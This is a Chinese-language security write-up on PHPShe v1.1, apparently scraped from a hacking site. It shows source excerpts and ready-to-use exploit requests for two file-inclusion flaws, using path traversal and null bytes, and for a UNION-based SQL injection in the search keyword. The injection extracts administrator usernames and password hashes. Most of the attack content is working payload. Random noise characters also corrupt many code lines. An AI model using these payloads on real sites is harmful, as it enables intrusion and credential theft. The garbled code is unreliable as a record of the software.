phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
2 i0 y( |9 t2 D/* Phpshe v1.1 Vulnerability
% P  A  L& d1 C! w* m/* ========================
3 d. j( D# W, @$ l3 r" b. @' V& I/* By: : Kn1f3
% S) @9 j: B. p* D, [+ _9 T  `/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
9 |4 u- h; h! k9 ~# X/ q!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
4 W9 F8 X  v/ o6 k& W: d. a!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
2 ~* I+ T8 G* Q7 o( D+ ^$ ^}
0 ?# }9 s* _" `7 H: ]- Belse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- e" F7 q" f8 k! R7 R8 G# c!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
5 C/ O3 Z# m: H' t9 N  [* B5 s) i* [* K}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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& x; t1 h! Y6 n! _//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
7 e$ f" k/ ?4 x- K1 N3 E4 ~//common 文件 第15行开始
url路由配置
6 a. L  Q& ?3 [$module = $mod = $act = 'index';
. d3 x& d$ g1 U9 g3 k+ |$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
, ]) B& k4 r$ H6 k0 e: J% A4 `1 n$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
' i  L5 C- n2 E" C0 S. Y. R( q; @! X' M$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
/ ]& P& |0 q' L//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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& B8 Q! [( Y; |& K" s& W 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
' x( q6 o& l) I- E$ t* @5 T, S  h% [$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
& c: W8 `& v, aif ($category_id) {
2 C6 n* m8 G: }) |where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
! ?. o8 Z- ^% p+ R( [$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ G5 U1 e; t  R0 eif ($_g_orderby) {
$ a* ?8 @& r: ^( B: O0 r+ _$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! z) h, N/ H7 p' K' I}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
3 R5 F. @$ o0 p7 z/ P& {$ }//热卖排行
$product_hotlist = product_hotlist();
//当前路径
. [& m5 u3 E3 b6 t$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
* }. L6 _" L& w) @1 x' t% R0 z//跟进selectall函数库
7 E2 h7 B- S9 p$ ^" Fpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
! y0 ^( c  K/ {* U//处理条件语句
* v8 j/ p5 n: V7 R6 L$sqlwhere = $this->_dowhere($where);
0 i7 P- j4 B2 z4 I; \" Kreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
# H' X4 @1 @' A, R}
//exp
) f5 M9 [2 w  {& ?+ Oproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

9 m0 O6 Q2 g* A0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

' A; ?  v4 @# F$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

3 }' s8 t$ [4 G, d. x$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

7 \3 F) u  j/ s2 J6 n6 G$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

: ^& N& |! T; i5 V}

& ~1 O1 o& c& i3 w. W( Y- {6 Vecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

' K# \  H9 W8 Y* g0 Npe_error('支付错误...');

  {5 z: S. r4 n/ I- t2 B}

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$seo = pe_seo('选择支付方式');

9 a/ H# a' `* q& R& I1 r0 winclude(pe_tpl('order_pay.html'));

8 E! y( M5 O3 I  dbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
$ d, K2 p: q0 G9 v! q; _8 Nhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg